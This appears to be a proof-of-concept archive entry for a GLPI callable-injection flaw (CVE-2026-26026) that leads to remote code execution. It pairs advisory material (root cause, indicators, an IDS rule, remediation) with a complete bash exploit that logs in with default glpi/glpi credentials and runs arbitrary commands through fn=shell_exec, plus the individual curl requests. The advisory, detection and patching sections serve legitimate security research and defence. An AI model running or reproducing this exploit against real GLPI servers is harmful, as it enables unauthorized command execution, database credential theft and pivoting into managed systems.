PoC Archive PoC Archive
CVE-2026-26026 category: web CVSS 9.1 (CRITICAL) EPSS 11%
Patched

GLPI Form-Tab Callable Injection to Remote Code Execution (CVE-2026-26026)

Published: 2026-11-27 • Researcher: Charaf Eddine Aarab (GitHub: CEAarab); the underlying issue was reported to and fixed by the GLPI project (advisory GHSA-2c98-648q-h27h)

Target software GLPI asset and IT management suite, server-side item tab renderer (ajax/common.tabs.php) and the Form component templates
Affected versions GLPI 11.0.0 through 11.0.5 (NVD range StartIncluding 11.0.0, EndExcluding 11.0.6); fixed in 11.0.6
Status PoC (complete login-plus-injection chain in a single script, but it needs a pre-existing form record and no successful run is documented)
Severity Critical · CVSS 9.1
CVSS 9.1/10

Exploitation signals

EPSS 11%

EPSS 10.9% · 97th percentile

Severity
Critical
CVE
CVE-2026-26026
Category
web
Affected product
GLPI asset and IT management suite, server-side item tab renderer (ajax/common.tabs.php) and the Form component templates
Affected versions
GLPI 11.0.0 through 11.0.5 (NVD range StartIncluding 11.0.0, EndExcluding 11.0.6); fixed in 11.0.6
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-04-22 (upstream commit a475f4fbe97cf508b32a8489844a83fe7f582362, “Create PoC.sh”)
Author / ResearcherCharaf Eddine Aarab (GitHub: CEAarab); the underlying issue was reported to and fixed by the GLPI project (advisory GHSA-2c98-648q-h27h)
CVE / AdvisoryCVE-2026-26026
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSSv3.1, NVD record); EPSS 0.109
StatusPoC (complete login-plus-injection chain in a single script, but it needs a pre-existing form record and no successful run is documented)
Tagstemplate injection, callable injection, GLPI, PHP, authenticated administrator, RCE, CWE-1336, CWE-94, CSRF
RelatedN/A

Affected Target

FieldValue
Software / SystemGLPI asset and IT management suite, server-side item tab renderer (ajax/common.tabs.php) and the Form component templates
Versions AffectedGLPI 11.0.0 through 11.0.5 (NVD range StartIncluding 11.0.0, EndExcluding 11.0.6); fixed in 11.0.6
Language / PlatformPHP web application backed by MySQL or MariaDB, typically served by Apache or nginx on Linux
Authentication RequiredYes — an administrator session is required
Network Access RequiredYes — HTTP access to the GLPI web root

Summary

GLPI 11.0.0 through 11.0.5 lets an authenticated administrator reach a code execution primitive through the AJAX item-tab renderer. The handler accepts extra request parameters that name a PHP callable and its argument, and it invokes that callable while building the tab content instead of keeping the rendering path limited to template data. The archived script logs in, then sends one crafted AJAX request that invokes a shell execution function with an operator-supplied command and prints the command output that comes back inside the tab HTML.

Vulnerability Details

Root Cause

GLPI builds item tabs server-side in ajax/common.tabs.php. The caller selects the page with _target, the item class with _itemtype and the tab with _glpi_tab; for a Form item the tab can be resolved as Glpi\Form\Form$main. The PoC shows that fn and a travel alongside those selectors and are used as a callable name and its first argument while the form tab is rendered. Because the callable is not restricted to a safe allow-list, a request with fn=shell_exec and a=id executes the command and the result is pushed into the tab HTML that is returned to the client. NVD classifies the flaw as CWE-1336 (improper neutralization of special elements used in a template engine) with a CWE-94 (code injection) component, and 11.0.6 is the release that fixes the issue.

Attack Vector

An authenticated administrator first posts to /front/login.php with the token taken from the login page and a valid credential pair. The script then issues a GET to /ajax/common.tabs.php with _target=/front/form/form.form.php, _itemtype=Glpi\Form\Form, _glpi_tab=Glpi\Form\Form$main, an existing form id, fn=shell_exec and a=. The request carries the session cookie and no further interaction is needed.

Impact

Remote code execution as the web server user (www-data in a typical package install). That level of access exposes the GLPI configuration and its database credentials in config/config_db.php, lets the attacker read or modify every asset, user and ticket record, write files into the web root, and pivot to other systems that GLPI manages or authenticates against. Because the flaw is in the rendering path rather than a single administrative feature, the affected instance cannot be trusted after exploitation.

Environment / Lab Setup

Output
OS:          Linux host with PHP 8.2 or later, MySQL/MariaDB and a web server
Target:      GLPI 11.0.0 up to 11.0.5, http://TARGET/
Attacker:    Linux, macOS or any host with bash and curl
Tools:       bash, curl, grep (the script depends on grep -P support)

Setup Steps

Shell script
1
2
#
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/

The form record and the administrator password are external preconditions; the script creates neither.

Proof of Concept

Step-by-Step Reproduction

  1. Confirm an administrator login works — the script first fetches the login page, extracts the _glpi_csrf_token value and posts it with the glpi/glpi default credentials.

    Shell script
    1
    2
    
    curl -s -c /tmp/glpi_cookies.txt -b /tmp/glpi_cookies.txt \
         "http://TARGET/front/login.php" -d 'noAUTO=0&redirect=&_glpi_csrf_token=TOKEN&login_name=glpi&login_password=glpi'
  2. Run the exploit — the second argument is the form id and the third is the command to execute.

    Shell script
    1
    
    ./PoC.sh 192.168.0.10 6 id
  3. Read the command output — the script greps the tab HTML for value attributes that look like command output and prints up to five matches, otherwise it saves the raw response to /tmp/rce_response.html.

    Shell script
    1
    
    grep -o 'value="[^"]*"' /tmp/rce_response.html

Exploit Code

See PoC.sh in this folder for the full script; the injection request is:

Shell script
1
2
curl -s -b "$COOKIES" \
  "http://${TARGET}/ajax/common.tabs.php?_target=/front/form/form.form.php&_itemtype=Glpi%5CForm%5CForm&_glpi_tab=Glpi%5CForm%5CForm%24main&id=${FORM_ID}&fn=shell_exec&a=${ENCODED_CMD}"

Expected Output

Output
[*] Target: 192.168.0.10 | Form ID: 6 | Command: id
[*] Getting session cookie...
[+] CSRF: 8f3c0a...
[*] Logging in as glpi/glpi...
[+] Login successful
[*] Triggering RCE: id
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Detection & Indicators of Compromise

Output
GET /ajax/common.tabs.php?..._glpi_tab=Glpi%5CForm%5CForm%24main...&fn=shell_exec&a=... HTTP/1.1
GET /ajax/common.tabs.php?...&fn=system&a=...      (other callable names)
POST /front/login.php with login_name=glpi          (default account use)

Unexpected administrator logins from new source addresses or at unusual times
Tab responses whose value attributes contain command output rather than form data
New or modified files under the GLPI web root or config directory

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-26026 GLPI form tab callable injection"; flow:to_server,established; content:"/ajax/common.tabs.php"; http_uri; content:"fn=shell_exec"; http_uri; reference:cve,2026-26026; sid:9026026; rev:1;)

Remediation

ActionDetail
PatchUpgrade to GLPI 11.0.6 or later, which fixes the template-injection path in the form tab renderer.
WorkaroundRestrict administrator logins to trusted networks or a management VPN, and block requests that carry fn or a parameters on /ajax/common.tabs.php at the WAF until the patch is deployed.
Config HardeningReplace the default glpi/glpi account with unique named administrators, enforce strong passwords and MFA where the GLPI release supports it, disable unused plugins, and keep the instance and its PHP dependencies current.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/CEAarab/CVE-2026-26026-PoC (stars 1, single bash script, no upstream README).

Review verdict: ingested. The repository is not a scanner or a version check: it authenticates to a user-supplied GLPI instance with real credentials, obtains a live CSRF token and session cookie, and then drives the vulnerable tab renderer with an attacker-chosen callable. It has no C2, persistence, evasion, credential-theft or mining components, and nothing beyond the exploit itself is copied. It is a single-request research PoC.

License: the repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived script keeps the original content and adds only a three-line research-use header. There is no upstream README, so no upstream-README.md is included.

Limitations: the vulnerability requires an administrator account, so this is a post-authentication privilege escalation into RCE rather than an unauthenticated attack. The script assumes the default glpi/glpi credentials and a form record with id 6; a real deployment needs a named administrator password and the id of an existing form, passed as the second argument. The default target 176.16.74.57 is a placeholder left in the usage example. Output recovery is heuristic (it greps value attributes and filters form strings), so a different GLPI theme or a cached tab can hide the result and send the operator to the raw response saved at /tmp/rce_response.html. The script also depends on GNU grep -P, which is unavailable on some platforms. The fn and a parameter pair is the mechanism the script relies on, and it could not be confirmed against a live instance while preparing this entry; a release with a warm tab cache, a different theme or an additional permission check can silently return the normal tab without executing the command. No exploit was executed while preparing this entry and no successful run is documented upstream, which is why the status is PoC rather than Weaponized.

PoC.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/bin/bash
# Archived for authorized security research only.
# Source: https://github.com/CEAarab/CVE-2026-26026-PoC (see README for attribution/license)
# GLPI 11.0.x template/callable injection to RCE; requires an administrator session.

# Usage: ./exploit.sh <TARGET_IP> <FORM_ID> <COMMAND>

TARGET="${1:-176.16.74.57}"
FORM_ID="${2:-6}"
CMD="${3:-id}"
COOKIES="/tmp/glpi_cookies.txt"

echo "[*] Target: $TARGET | Form ID: $FORM_ID | Command: $CMD"

rm -f "$COOKIES"

echo "[*] Getting session cookie..."
curl -s -c "$COOKIES" "http://${TARGET}/" > /dev/null

CSRF=$(curl -s -b "$COOKIES" "http://${TARGET}/" | grep -oP 'name="_glpi_csrf_token" value="\K[^"]*')

if [ -z "$CSRF" ]; then
    echo "[-] Failed to get CSRF token"
    exit 1
fi
echo "[+] CSRF: ${CSRF:0:20}..."

echo "[*] Logging in as glpi/glpi..."
curl -s -b "$COOKIES" -c "$COOKIES" -X POST "http://${TARGET}/front/login.php" \
    -d "noAUTO=0&redirect=&_glpi_csrf_token=${CSRF}&login_name=glpi&login_password=glpi" \
    -o /dev/null
    
LOGIN_CHECK=$(curl -s -b "$COOKIES" "http://${TARGET}/front/central.php" -o /dev/null -w "%{http_code}")
if [ "$LOGIN_CHECK" != "200" ]; then
    echo "[-] Login failed (got HTTP $LOGIN_CHECK on dashboard)"
    exit 1
fi
echo "[+] Login successful"


echo "[*] Triggering RCE: $CMD"

ENCODED_CMD=$(echo "$CMD" | sed 's/ /+/g')
RESULT=$(curl -s -b "$COOKIES" "http://${TARGET}/ajax/common.tabs.php?_target=/front/form/form.form.php&_itemtype=Glpi%5CForm%5CForm&_glpi_tab=Glpi%5CForm%5CForm%24main&id=${FORM_ID}&fn=shell_exec&a=${ENCODED_CMD}")

OUTPUT=$(echo "$RESULT" | grep -oP 'value="\K(uid=|flag|root:|www-data|/[a-z])[^"]*' | head -5)

if [ -z "$OUTPUT" ]; then
    OUTPUT=$(echo "$RESULT" | grep -oP 'value="[^"]{5,}"' | grep -v "Glpi\|csrf\|always_visible\|visible_if\|hidden_if\|First section\|test form\|deadbeef" | sed 's/value="//;s/"$//' | head -5)
fi

if [ -n "$OUTPUT" ]; then
    echo "[+] Command output:"
    echo "$OUTPUT"
else
    echo "[!] Could not parse output cleanly. Saving raw response to /tmp/rce_response.html"
    echo "$RESULT" > /tmp/rce_response.html
    echo "[!] Check: grep 'value=' /tmp/rce_response.html"
fi